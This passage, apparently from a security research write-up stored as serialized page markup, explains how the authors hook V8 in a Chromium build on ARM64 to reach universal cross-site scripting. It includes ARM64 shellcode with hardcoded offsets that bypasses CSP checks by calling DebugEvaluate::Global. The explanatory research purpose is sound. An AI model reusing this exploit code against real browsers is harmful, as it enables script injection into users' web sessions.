#16\n",{"type":24,"tag":271,"props":147199,"children":147200},{"class":273,"line":411},[147201],{"type":24,"tag":271,"props":147202,"children":147203},{},[147204],{"type":29,"value":147205},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":271,"props":147207,"children":147208},{"class":273,"line":420},[147209],{"type":24,"tag":271,"props":147210,"children":147211},{},[147212],{"type":29,"value":147213},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":271,"props":147215,"children":147216},{"class":273,"line":429},[147217],{"type":24,"tag":271,"props":147218,"children":147219},{},[147220],{"type":29,"value":147221},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":271,"props":147223,"children":147224},{"class":273,"line":438},[147225],{"type":24,"tag":271,"props":147226,"children":147227},{},[147228],{"type":29,"value":147229},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":271,"props":147231,"children":147232},{"class":273,"line":447},[147233],{"type":24,"tag":271,"props":147234,"children":147235},{},[147236],{"type":29,"value":147237},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":271,"props":147239,"children":147240},{"class":273,"line":455},[147241],{"type":24,"tag":271,"props":147242,"children":147243},{},[147244],{"type":29,"value":147245},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":271,"props":147247,"children":147248},{"class":273,"line":464},[147249],{"type":24,"tag":271,"props":147250,"children":147251},{},[147252],{"type":29,"value":147253},"ldp x8, x9, [sp], #16\n",{"type":24,"tag":271,"props":147255,"children":147256},{"class":273,"line":473},[147257],{"type":24,"tag":271,"props":147258,"children":147259},{},[147260],{"type":29,"value":147261},"ldp x6, x7, [sp], #16\n",{"type":24,"tag":271,"props":147263,"children":147264},{"class":273,"line":483},[147265],{"type":24,"tag":271,"props":147266,"children":147267},{},[147268],{"type":29,"value":147269},"ldp x4, x5, [sp], #16\n",{"type":24,"tag":271,"props":147271,"children":147272},{"class":273,"line":491},[147273],{"type":24,"tag":271,"props":147274,"children":147275},{},[147276],{"type":29,"value":147277},"ldp x2, x3, [sp], #16\n",{"type":24,"tag":271,"props":147279,"children":147280},{"class":273,"line":499},[147281],{"type":24,"tag":271,"props":147282,"children":147283},{},[147284],{"type":29,"value":147285},"ldp x0, x1, [sp], #16\n",{"type":24,"tag":271,"props":147287,"children":147288},{"class":273,"line":3188},[147289],{"type":24,"tag":271,"props":147290,"children":147291},{"emptyLinePlaceholder":16},[147292],{"type":29,"value":327},{"type":24,"tag":271,"props":147294,"children":147295},{"class":273,"line":3247},[147296],{"type":24,"tag":271,"props":147297,"children":147298},{},[147299],{"type":29,"value":147300},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":271,"props":147302,"children":147303},{"class":273,"line":3255},[147304],{"type":24,"tag":271,"props":147305,"children":147306},{},[147307],{"type":29,"value":147308},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":271,"props":147310,"children":147311},{"class":273,"line":3263},[147312],{"type":24,"tag":271,"props":147313,"children":147314},{},[147315],{"type":29,"value":147316},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":271,"props":147318,"children":147319},{"class":273,"line":3293},[147320],{"type":24,"tag":271,"props":147321,"children":147322},{},[147323],{"type":29,"value":147324},"// where to return\n",{"type":24,"tag":271,"props":147326,"children":147327},{"class":273,"line":3301},[147328],{"type":24,"tag":271,"props":147329,"children":147330},{},[147331],{"type":29,"value":147332},"mov x4, lr\n",{"type":24,"tag":271,"props":147334,"children":147335},{"class":273,"line":3683},[147336],{"type":24,"tag":271,"props":147337,"children":147338},{"emptyLinePlaceholder":16},[147339],{"type":29,"value":327},{"type":24,"tag":271,"props":147341,"children":147342},{"class":273,"line":4486},[147343],{"type":24,"tag":271,"props":147344,"children":147345},{},[147346],{"type":29,"value":147347},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":271,"props":147349,"children":147350},{"class":273,"line":4509},[147351],{"type":24,"tag":271,"props":147352,"children":147353},{},[147354],{"type":29,"value":147355},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":271,"props":147357,"children":147358},{"class":273,"line":4545},[147359],{"type":24,"tag":271,"props":147360,"children":147361},{"emptyLinePlaceholder":16},[147362],{"type":29,"value":327},{"type":24,"tag":271,"props":147364,"children":147365},{"class":273,"line":4591},[147366],{"type":24,"tag":271,"props":147367,"children":147368},{},[147369],{"type":29,"value":147370},"ret x4\n",{"type":24,"tag":25,"props":147372,"children":147373},{},[147374,147376,147381,147383,147388,147390,147396],{"type":29,"value":147375},"At this point, we have successfully hooked ",{"type":24,"tag":135,"props":147377,"children":147379},{"className":147378},[],[147380],{"type":29,"value":146258},{"type":29,"value":147382}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":135,"props":147384,"children":147386},{"className":147385},[],[147387],{"type":29,"value":146774},{"type":29,"value":147389}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":135,"props":147391,"children":147393},{"className":147392},[],[147394],{"type":29,"value":147395},"Builtins_GlobalEval",{"type":29,"value":41},{"type":24,"tag":25,"props":147398,"children":147399},{},[147400,147405,147407,147412,147414,147419],{"type":24,"tag":135,"props":147401,"children":147403},{"className":147402},[],[147404],{"type":29,"value":147395},{"type":29,"value":147406}," takes a single ",{"type":24,"tag":135,"props":147408,"children":147410},{"className":147409},[],[147411],{"type":29,"value":55593},{"type":29,"value":147413}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":135,"props":147415,"children":147417},{"className":147416},[],[147418],{"type":29,"value":45216},{"type":29,"value":12210},{"type":24,"tag":261,"props":147421,"children":147423},{"code":147422,"language":3861,"meta":7,"className":3859,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[147424],{"type":24,"tag":135,"props":147425,"children":147426},{"__ignoreMap":7},[147427,147440,147447,147454,147497,147519,147545],{"type":24,"tag":271,"props":147428,"children":147429},{"class":273,"line":274},[147430,147435],{"type":24,"tag":271,"props":147431,"children":147432},{"style":598},[147433],{"type":29,"value":147434},"BUILTIN",{"type":24,"tag":271,"props":147436,"children":147437},{"style":288},[147438],{"type":29,"value":147439},"(GlobalEval) {\n",{"type":24,"tag":271,"props":147441,"children":147442},{"class":273,"line":284},[147443],{"type":24,"tag":271,"props":147444,"children":147445},{"style":288},[147446],{"type":29,"value":133943},{"type":24,"tag":271,"props":147448,"children":147449},{"class":273,"line":294},[147450],{"type":24,"tag":271,"props":147451,"children":147452},{"emptyLinePlaceholder":16},[147453],{"type":29,"value":327},{"type":24,"tag":271,"props":147455,"children":147456},{"class":273,"line":303},[147457,147462,147467,147471,147476,147480,147484,147488,147493],{"type":24,"tag":271,"props":147458,"children":147459},{"style":288},[147460],{"type":29,"value":147461}," if (!Builtins::",{"type":24,"tag":271,"props":147463,"children":147464},{"style":3887},[147465],{"type":29,"value":147466},"AllowDynamicFunction",{"type":24,"tag":271,"props":147468,"children":147469},{"style":288},[147470],{"type":29,"value":606},{"type":24,"tag":271,"props":147472,"children":147473},{"style":3887},[147474],{"type":29,"value":147475},"isolate",{"type":24,"tag":271,"props":147477,"children":147478},{"style":288},[147479],{"type":29,"value":158},{"type":24,"tag":271,"props":147481,"children":147482},{"style":3887},[147483],{"type":29,"value":121868},{"type":24,"tag":271,"props":147485,"children":147486},{"style":288},[147487],{"type":29,"value":158},{"type":24,"tag":271,"props":147489,"children":147490},{"style":3887},[147491],{"type":29,"value":147492},"target_global_proxy",{"type":24,"tag":271,"props":147494,"children":147495},{"style":288},[147496],{"type":29,"value":2317},{"type":24,"tag":271,"props":147498,"children":147499},{"class":273,"line":312},[147500,147505,147509,147514],{"type":24,"tag":271,"props":147501,"children":147502},{"style":630},[147503],{"type":29,"value":147504}," isolate",{"type":24,"tag":271,"props":147506,"children":147507},{"style":288},[147508],{"type":29,"value":786},{"type":24,"tag":271,"props":147510,"children":147511},{"style":598},[147512],{"type":29,"value":147513},"CountUsage",{"type":24,"tag":271,"props":147515,"children":147516},{"style":288},[147517],{"type":29,"value":147518},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":271,"props":147520,"children":147521},{"class":273,"line":321},[147522,147526,147531,147536,147541],{"type":24,"tag":271,"props":147523,"children":147524},{"style":749},[147525],{"type":29,"value":9640},{"type":24,"tag":271,"props":147527,"children":147528},{"style":598},[147529],{"type":29,"value":147530}," ReadOnlyRoots",{"type":24,"tag":271,"props":147532,"children":147533},{"style":288},[147534],{"type":29,"value":147535},"(isolate).",{"type":24,"tag":271,"props":147537,"children":147538},{"style":598},[147539],{"type":29,"value":147540},"undefined_value",{"type":24,"tag":271,"props":147542,"children":147543},{"style":288},[147544],{"type":29,"value":4230},{"type":24,"tag":271,"props":147546,"children":147547},{"class":273,"line":330},[147548],{"type":24,"tag":271,"props":147549,"children":147550},{"style":288},[147551],{"type":29,"value":13588},{"type":24,"tag":25,"props":147553,"children":147554},{},[147555,147557,147562],{"type":29,"value":147556},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":135,"props":147558,"children":147560},{"className":147559},[],[147561],{"type":29,"value":23277},{"type":29,"value":147563}," block.",{"type":24,"tag":25,"props":147565,"children":147566},{},[147567],{"type":29,"value":147568},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":261,"props":147570,"children":147572},{"code":147571,"language":3861,"meta":7,"className":3859,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[147573],{"type":24,"tag":135,"props":147574,"children":147575},{"__ignoreMap":7},[147576,147587,147594,147601,147608,147616,147628,147636,147653,147683,147691,147703],{"type":24,"tag":271,"props":147577,"children":147578},{"class":273,"line":274},[147579,147583],{"type":24,"tag":271,"props":147580,"children":147581},{"style":598},[147582],{"type":29,"value":147434},{"type":24,"tag":271,"props":147584,"children":147585},{"style":288},[147586],{"type":29,"value":147439},{"type":24,"tag":271,"props":147588,"children":147589},{"class":273,"line":284},[147590],{"type":24,"tag":271,"props":147591,"children":147592},{"emptyLinePlaceholder":16},[147593],{"type":29,"value":327},{"type":24,"tag":271,"props":147595,"children":147596},{"class":273,"line":294},[147597],{"type":24,"tag":271,"props":147598,"children":147599},{"style":288},[147600],{"type":29,"value":133943},{"type":24,"tag":271,"props":147602,"children":147603},{"class":273,"line":303},[147604],{"type":24,"tag":271,"props":147605,"children":147606},{"emptyLinePlaceholder":16},[147607],{"type":29,"value":327},{"type":24,"tag":271,"props":147609,"children":147610},{"class":273,"line":312},[147611],{"type":24,"tag":271,"props":147612,"children":147613},{"style":288},[147614],{"type":29,"value":147615}," DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":271,"props":147617,"children":147618},{"class":273,"line":321},[147619,147624],{"type":24,"tag":271,"props":147620,"children":147621},{"style":598},[147622],{"type":29,"value":147623}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":271,"props":147625,"children":147626},{"style":288},[147627],{"type":29,"value":4028},{"type":24,"tag":271,"props":147629,"children":147630},{"class":273,"line":330},[147631],{"type":24,"tag":271,"props":147632,"children":147633},{"style":288},[147634],{"type":29,"value":147635}," isolate, function,\n",{"type":24,"tag":271,"props":147637,"children":147638},{"class":273,"line":339},[147639,147644,147649],{"type":24,"tag":271,"props":147640,"children":147641},{"style":288},[147642],{"type":29,"value":147643}," Compiler::",{"type":24,"tag":271,"props":147645,"children":147646},{"style":598},[147647],{"type":29,"value":147648},"GetFunctionFromValidatedString",{"type":24,"tag":271,"props":147650,"children":147651},{"style":288},[147652],{"type":29,"value":4028},{"type":24,"tag":271,"props":147654,"children":147655},{"class":273,"line":347},[147656,147661,147665,147669,147673,147678],{"type":24,"tag":271,"props":147657,"children":147658},{"style":598},[147659],{"type":29,"value":147660}," direct_handle",{"type":24,"tag":271,"props":147662,"children":147663},{"style":288},[147664],{"type":29,"value":606},{"type":24,"tag":271,"props":147666,"children":147667},{"style":630},[147668],{"type":29,"value":121868},{"type":24,"tag":271,"props":147670,"children":147671},{"style":288},[147672],{"type":29,"value":786},{"type":24,"tag":271,"props":147674,"children":147675},{"style":598},[147676],{"type":29,"value":147677},"native_context",{"type":24,"tag":271,"props":147679,"children":147680},{"style":288},[147681],{"type":29,"value":147682},"(), isolate), source,\n",{"type":24,"tag":271,"props":147684,"children":147685},{"class":273,"line":356},[147686],{"type":24,"tag":271,"props":147687,"children":147688},{"style":288},[147689],{"type":29,"value":147690}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":271,"props":147692,"children":147693},{"class":273,"line":365},[147694,147699],{"type":24,"tag":271,"props":147695,"children":147696},{"style":598},[147697],{"type":29,"value":147698}," RETURN_RESULT_OR_FAILURE",{"type":24,"tag":271,"props":147700,"children":147701},{"style":288},[147702],{"type":29,"value":4028},{"type":24,"tag":271,"props":147704,"children":147705},{"class":273,"line":374},[147706,147711,147716],{"type":24,"tag":271,"props":147707,"children":147708},{"style":288},[147709],{"type":29,"value":147710}," isolate, Execution::",{"type":24,"tag":271,"props":147712,"children":147713},{"style":598},[147714],{"type":29,"value":147715},"Call",{"type":24,"tag":271,"props":147717,"children":147718},{"style":288},[147719],{"type":29,"value":147720},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":25,"props":147722,"children":147723},{},[147724,147726,147731,147733,147739,147741,147747,147749,147755],{"type":29,"value":147725},"But determining the correct ",{"type":24,"tag":135,"props":147727,"children":147729},{"className":147728},[],[147730],{"type":29,"value":121868},{"type":29,"value":147732}," value, obtaining ",{"type":24,"tag":135,"props":147734,"children":147736},{"className":147735},[],[147737],{"type":29,"value":147738},"target->native_context()",{"type":29,"value":147740},", and locating the ",{"type":24,"tag":135,"props":147742,"children":147744},{"className":147743},[],[147745],{"type":29,"value":147746},"direct_handle",{"type":29,"value":147748}," function, just to make a proper call to ",{"type":24,"tag":135,"props":147750,"children":147752},{"className":147751},[],[147753],{"type":29,"value":147754},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":147756},", seemed unnecessarily cumbersome.",{"type":24,"tag":25,"props":147758,"children":147759},{},[147760,147762,147768],{"type":29,"value":147761},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":135,"props":147763,"children":147765},{"className":147764},[],[147766],{"type":29,"value":147767},"DebugEvaluate::Global",{"type":29,"value":147769},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":24,"tag":25,"props":147771,"children":147772},{},[147773],{"type":29,"value":147774},"For our needs, it is straightforward to call:",{"type":24,"tag":261,"props":147776,"children":147778},{"code":147777,"language":3861,"meta":7,"className":3859,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[147779],{"type":24,"tag":135,"props":147780,"children":147781},{"__ignoreMap":7},[147782,147830,147859,147880],{"type":24,"tag":271,"props":147783,"children":147784},{"class":273,"line":274},[147785,147790,147794,147798,147803,147808,147812,147817,147821,147826],{"type":24,"tag":271,"props":147786,"children":147787},{"style":3887},[147788],{"type":29,"value":147789},"MaybeDirectHandle",{"type":24,"tag":271,"props":147791,"children":147792},{"style":288},[147793],{"type":29,"value":801},{"type":24,"tag":271,"props":147795,"children":147796},{"style":3887},[147797],{"type":29,"value":56516},{"type":24,"tag":271,"props":147799,"children":147800},{"style":288},[147801],{"type":29,"value":147802},"> DebugEvaluate::",{"type":24,"tag":271,"props":147804,"children":147805},{"style":598},[147806],{"type":29,"value":147807},"Global",{"type":24,"tag":271,"props":147809,"children":147810},{"style":288},[147811],{"type":29,"value":606},{"type":24,"tag":271,"props":147813,"children":147814},{"style":3887},[147815],{"type":29,"value":147816},"Isolate",{"type":24,"tag":271,"props":147818,"children":147819},{"style":278},[147820],{"type":29,"value":627},{"type":24,"tag":271,"props":147822,"children":147823},{"style":630},[147824],{"type":29,"value":147825}," isolate",{"type":24,"tag":271,"props":147827,"children":147828},{"style":288},[147829],{"type":29,"value":638},{"type":24,"tag":271,"props":147831,"children":147832},{"class":273,"line":284},[147833,147838,147842,147846,147850,147855],{"type":24,"tag":271,"props":147834,"children":147835},{"style":3887},[147836],{"type":29,"value":147837}," Handle",{"type":24,"tag":271,"props":147839,"children":147840},{"style":288},[147841],{"type":29,"value":801},{"type":24,"tag":271,"props":147843,"children":147844},{"style":3887},[147845],{"type":29,"value":55593},{"type":24,"tag":271,"props":147847,"children":147848},{"style":288},[147849],{"type":29,"value":13537},{"type":24,"tag":271,"props":147851,"children":147852},{"style":630},[147853],{"type":29,"value":147854},"source",{"type":24,"tag":271,"props":147856,"children":147857},{"style":288},[147858],{"type":29,"value":638},{"type":24,"tag":271,"props":147860,"children":147861},{"class":273,"line":294},[147862,147867,147872,147876],{"type":24,"tag":271,"props":147863,"children":147864},{"style":288},[147865],{"type":29,"value":147866}," debug::",{"type":24,"tag":271,"props":147868,"children":147869},{"style":3887},[147870],{"type":29,"value":147871},"EvaluateGlobalMode",{"type":24,"tag":271,"props":147873,"children":147874},{"style":630},[147875],{"type":29,"value":113064},{"type":24,"tag":271,"props":147877,"children":147878},{"style":288},[147879],{"type":29,"value":638},{"type":24,"tag":271,"props":147881,"children":147882},{"class":273,"line":303},[147883,147888,147893],{"type":24,"tag":271,"props":147884,"children":147885},{"style":3887},[147886],{"type":29,"value":147887}," REPLMode",{"type":24,"tag":271,"props":147889,"children":147890},{"style":630},[147891],{"type":29,"value":147892}," repl_mode",{"type":24,"tag":271,"props":147894,"children":147895},{"style":288},[147896],{"type":29,"value":1155},{"type":24,"tag":25,"props":147898,"children":147899},{},[147900,147902,147907,147909,147914,147916,147921,147923,147929,147930,147936],{"type":29,"value":147901},"We must supply the ",{"type":24,"tag":135,"props":147903,"children":147905},{"className":147904},[],[147906],{"type":29,"value":147475},{"type":29,"value":147908}," pointer, a ",{"type":24,"tag":135,"props":147910,"children":147912},{"className":147911},[],[147913],{"type":29,"value":55593},{"type":29,"value":147915}," object containing our XSS payload as ",{"type":24,"tag":135,"props":147917,"children":147919},{"className":147918},[],[147920],{"type":29,"value":147854},{"type":29,"value":147922},", and the ",{"type":24,"tag":135,"props":147924,"children":147926},{"className":147925},[],[147927],{"type":29,"value":147928},"mode",{"type":29,"value":518},{"type":24,"tag":135,"props":147931,"children":147933},{"className":147932},[],[147934],{"type":29,"value":147935},"repl_mode",{"type":29,"value":147937}," values, which are simple enum literals.",{"type":24,"tag":25,"props":147939,"children":147940},{},[147941,147943,147948,147950,147956,147958,147963,147965,147970,147972,147978,147980,147986,147988,147993,147995,148000,148002,148007,148009,148014],{"type":29,"value":147942},"To obtain the ",{"type":24,"tag":135,"props":147944,"children":147946},{"className":147945},[],[147947],{"type":29,"value":147475},{"type":29,"value":147949}," pointer within our shellcode, we call ",{"type":24,"tag":135,"props":147951,"children":147953},{"className":147952},[],[147954],{"type":29,"value":147955},"Isolate::TryGetCurrent()",{"type":29,"value":147957},", which returns the current ",{"type":24,"tag":135,"props":147959,"children":147961},{"className":147960},[],[147962],{"type":29,"value":147475},{"type":29,"value":147964},". To construct a valid ",{"type":24,"tag":135,"props":147966,"children":147968},{"className":147967},[],[147969],{"type":29,"value":55593},{"type":29,"value":147971}," object holding our payload, we call ",{"type":24,"tag":135,"props":147973,"children":147975},{"className":147974},[],[147976],{"type":29,"value":147977},"v8::String::NewFromUTF8",{"type":29,"value":147979},". This ",{"type":24,"tag":135,"props":147981,"children":147983},{"className":147982},[],[147984],{"type":29,"value":147985},"NewFromUTF8",{"type":29,"value":147987}," function takes four arguments: the ",{"type":24,"tag":135,"props":147989,"children":147991},{"className":147990},[],[147992],{"type":29,"value":147475},{"type":29,"value":147994},", the string bytes as ",{"type":24,"tag":135,"props":147996,"children":147998},{"className":147997},[],[147999],{"type":29,"value":8590},{"type":29,"value":148001},", an enum literal specifying the string type, and ",{"type":24,"tag":135,"props":148003,"children":148005},{"className":148004},[],[148006],{"type":29,"value":16219},{"type":29,"value":148008},", which is the size of the ",{"type":24,"tag":135,"props":148010,"children":148012},{"className":148011},[],[148013],{"type":29,"value":8590},{"type":29,"value":24857},{"type":24,"tag":25,"props":148016,"children":148017},{},[148018],{"type":29,"value":148019},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":261,"props":148021,"children":148023},{"code":148022,"language":146311,"meta":7,"className":146312,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[148024],{"type":24,"tag":135,"props":148025,"children":148026},{"__ignoreMap":7},[148027,148035,148043,148051,148059,148067,148075,148083,148091,148099,148107,148115,148123,148130,148138,148146,148154,148162,148169,148177,148184,148192,148200,148207,148214,148221,148228,148235,148242,148250,148258,148265,148273,148281,148288,148296,148304,148311,148318,148326,148334,148342,148349,148357,148365,148373,148381,148389,148397,148405,148413,148421,148429,148437,148444,148452,148460,148467,148475,148483,148491,148499,148506,148514,148521,148528,148536,148544,148552,148560,148569,148578,148586],{"type":24,"tag":271,"props":148028,"children":148029},{"class":273,"line":274},[148030],{"type":24,"tag":271,"props":148031,"children":148032},{},[148033],{"type":29,"value":148034},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":271,"props":148036,"children":148037},{"class":273,"line":284},[148038],{"type":24,"tag":271,"props":148039,"children":148040},{},[148041],{"type":29,"value":148042},"movz x1, #0xf7a0\n",{"type":24,"tag":271,"props":148044,"children":148045},{"class":273,"line":294},[148046],{"type":24,"tag":271,"props":148047,"children":148048},{},[148049],{"type":29,"value":148050},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":271,"props":148052,"children":148053},{"class":273,"line":303},[148054],{"type":24,"tag":271,"props":148055,"children":148056},{},[148057],{"type":29,"value":148058},"add x9, x12, x1\n",{"type":24,"tag":271,"props":148060,"children":148061},{"class":273,"line":312},[148062],{"type":24,"tag":271,"props":148063,"children":148064},{},[148065],{"type":29,"value":148066},"movz x1, #0x5ac8\n",{"type":24,"tag":271,"props":148068,"children":148069},{"class":273,"line":321},[148070],{"type":24,"tag":271,"props":148071,"children":148072},{},[148073],{"type":29,"value":148074},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":271,"props":148076,"children":148077},{"class":273,"line":330},[148078],{"type":24,"tag":271,"props":148079,"children":148080},{},[148081],{"type":29,"value":148082},"add x0, x12, x1\n",{"type":24,"tag":271,"props":148084,"children":148085},{"class":273,"line":339},[148086],{"type":24,"tag":271,"props":148087,"children":148088},{},[148089],{"type":29,"value":148090},"blr x9\n",{"type":24,"tag":271,"props":148092,"children":148093},{"class":273,"line":347},[148094],{"type":24,"tag":271,"props":148095,"children":148096},{},[148097],{"type":29,"value":148098},"// *x0 is isolate pointer\n",{"type":24,"tag":271,"props":148100,"children":148101},{"class":273,"line":356},[148102],{"type":24,"tag":271,"props":148103,"children":148104},{},[148105],{"type":29,"value":148106},"// store isolate ptr to stack\n",{"type":24,"tag":271,"props":148108,"children":148109},{"class":273,"line":365},[148110],{"type":24,"tag":271,"props":148111,"children":148112},{},[148113],{"type":29,"value":148114},"ldr x13, [x0]\n",{"type":24,"tag":271,"props":148116,"children":148117},{"class":273,"line":374},[148118],{"type":24,"tag":271,"props":148119,"children":148120},{},[148121],{"type":29,"value":148122},"str x13, [sp, #-16]!\n",{"type":24,"tag":271,"props":148124,"children":148125},{"class":273,"line":384},[148126],{"type":24,"tag":271,"props":148127,"children":148128},{"emptyLinePlaceholder":16},[148129],{"type":29,"value":327},{"type":24,"tag":271,"props":148131,"children":148132},{"class":273,"line":393},[148133],{"type":24,"tag":271,"props":148134,"children":148135},{},[148136],{"type":29,"value":148137},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":271,"props":148139,"children":148140},{"class":273,"line":402},[148141],{"type":24,"tag":271,"props":148142,"children":148143},{},[148144],{"type":29,"value":148145},"movz x1, #0x1140\n",{"type":24,"tag":271,"props":148147,"children":148148},{"class":273,"line":411},[148149],{"type":24,"tag":271,"props":148150,"children":148151},{},[148152],{"type":29,"value":148153},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":271,"props":148155,"children":148156},{"class":273,"line":420},[148157],{"type":24,"tag":271,"props":148158,"children":148159},{},[148160],{"type":29,"value":148161},"sub x10, x12, x1\n",{"type":24,"tag":271,"props":148163,"children":148164},{"class":273,"line":429},[148165],{"type":24,"tag":271,"props":148166,"children":148167},{"emptyLinePlaceholder":16},[148168],{"type":29,"value":327},{"type":24,"tag":271,"props":148170,"children":148171},{"class":273,"line":438},[148172],{"type":24,"tag":271,"props":148173,"children":148174},{},[148175],{"type":29,"value":148176},"// mmap a RW page for our xss payload\n",{"type":24,"tag":271,"props":148178,"children":148179},{"class":273,"line":447},[148180],{"type":24,"tag":271,"props":148181,"children":148182},{},[148183],{"type":29,"value":146527},{"type":24,"tag":271,"props":148185,"children":148186},{"class":273,"line":455},[148187],{"type":24,"tag":271,"props":148188,"children":148189},{},[148190],{"type":29,"value":148191},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":271,"props":148193,"children":148194},{"class":273,"line":464},[148195],{"type":24,"tag":271,"props":148196,"children":148197},{},[148198],{"type":29,"value":148199},"mov x2, #3\n",{"type":24,"tag":271,"props":148201,"children":148202},{"class":273,"line":473},[148203],{"type":24,"tag":271,"props":148204,"children":148205},{},[148206],{"type":29,"value":146550},{"type":24,"tag":271,"props":148208,"children":148209},{"class":273,"line":483},[148210],{"type":24,"tag":271,"props":148211,"children":148212},{},[148213],{"type":29,"value":146558},{"type":24,"tag":271,"props":148215,"children":148216},{"class":273,"line":491},[148217],{"type":24,"tag":271,"props":148218,"children":148219},{},[148220],{"type":29,"value":146566},{"type":24,"tag":271,"props":148222,"children":148223},{"class":273,"line":499},[148224],{"type":24,"tag":271,"props":148225,"children":148226},{},[148227],{"type":29,"value":146574},{"type":24,"tag":271,"props":148229,"children":148230},{"class":273,"line":3188},[148231],{"type":24,"tag":271,"props":148232,"children":148233},{},[148234],{"type":29,"value":146489},{"type":24,"tag":271,"props":148236,"children":148237},{"class":273,"line":3247},[148238],{"type":24,"tag":271,"props":148239,"children":148240},{"emptyLinePlaceholder":16},[148241],{"type":29,"value":327},{"type":24,"tag":271,"props":148243,"children":148244},{"class":273,"line":3255},[148245],{"type":24,"tag":271,"props":148246,"children":148247},{},[148248],{"type":29,"value":148249},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":271,"props":148251,"children":148252},{"class":273,"line":3263},[148253],{"type":24,"tag":271,"props":148254,"children":148255},{},[148256],{"type":29,"value":148257},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":271,"props":148259,"children":148260},{"class":273,"line":3293},[148261],{"type":24,"tag":271,"props":148262,"children":148263},{"emptyLinePlaceholder":16},[148264],{"type":29,"value":327},{"type":24,"tag":271,"props":148266,"children":148267},{"class":273,"line":3301},[148268],{"type":24,"tag":271,"props":148269,"children":148270},{},[148271],{"type":29,"value":148272},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":271,"props":148274,"children":148275},{"class":273,"line":3683},[148276],{"type":24,"tag":271,"props":148277,"children":148278},{},[148279],{"type":29,"value":148280},"mov x11, 